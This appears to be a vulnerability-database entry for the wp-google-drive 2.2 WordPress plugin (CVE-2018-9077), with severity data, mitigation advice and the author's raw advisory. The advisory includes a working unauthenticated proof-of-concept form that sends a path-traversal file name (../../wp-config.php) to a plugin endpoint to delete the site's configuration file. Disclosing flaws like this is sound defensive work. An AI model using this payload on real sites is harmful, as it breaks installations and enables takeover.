header-logo
Suggest Exploit
vendor:
wp-google-drive
by:
Lenon Leite
8.1
CVSS
HIGH
Remote Code Execution
78
CWE
Product Name: wp-google-drive
Affected Version From: 2.2
Affected Version To: 2.2
Patch Exists: YES
Related CWE: CVE-2018-9077
CPE: 2.2:wordpress:wp-google-drive
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Ubuntu 16.1
2018

Plugin Google Drive for WordPress 2.2 – RCE – Unlik

A vulnerability exists in Plugin Google Drive for WordPress 2.2, where the $_POST['file_name'] parameter is not escaped, allowing an attacker to send malicious data form and execute arbitrary code. No login is required to exploit this vulnerability.

Mitigation:

Upgrade to the latest version of Plugin Google Drive for WordPress.
Source

Exploit-DB raw data:

# Exploit Title:  Plugin Google Drive for WordPress 2.2 – RCE – Unlik
# Date: 08/04/2018
# Exploit Author: Lenon Leite
# Vendor Homepage: *https://wordpress.org/plugins/wp-google-drive/
# Software Link: *https://wordpress.org/plugins/wp-google-drive/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 2.2
# Tested on: Ubuntu 16.1

1 - Description


   - Type user access: Don't need of login .
   - $_POST[‘file_name’] is not escaped.

2. Proof of Concept

1 - Send data form:

<form method="post"
      action="http://target/wp-content/plugins/wp-google-drive/gdrive-ajaxs.php">
   <input type="text" name="ajaxstype" value="del_fl_bkp">
   <input type="text" name="file_name" value="../../wp-config.php">
   <input type="text" name="id" value="1">
   <input type="submit">
</form>


#   - Date Discovery : *11/25/2017*
#   - Date Vendor Contact : *12/26/2017*
#   - Date Publish : 08/04/2018
#   - Date Resolution :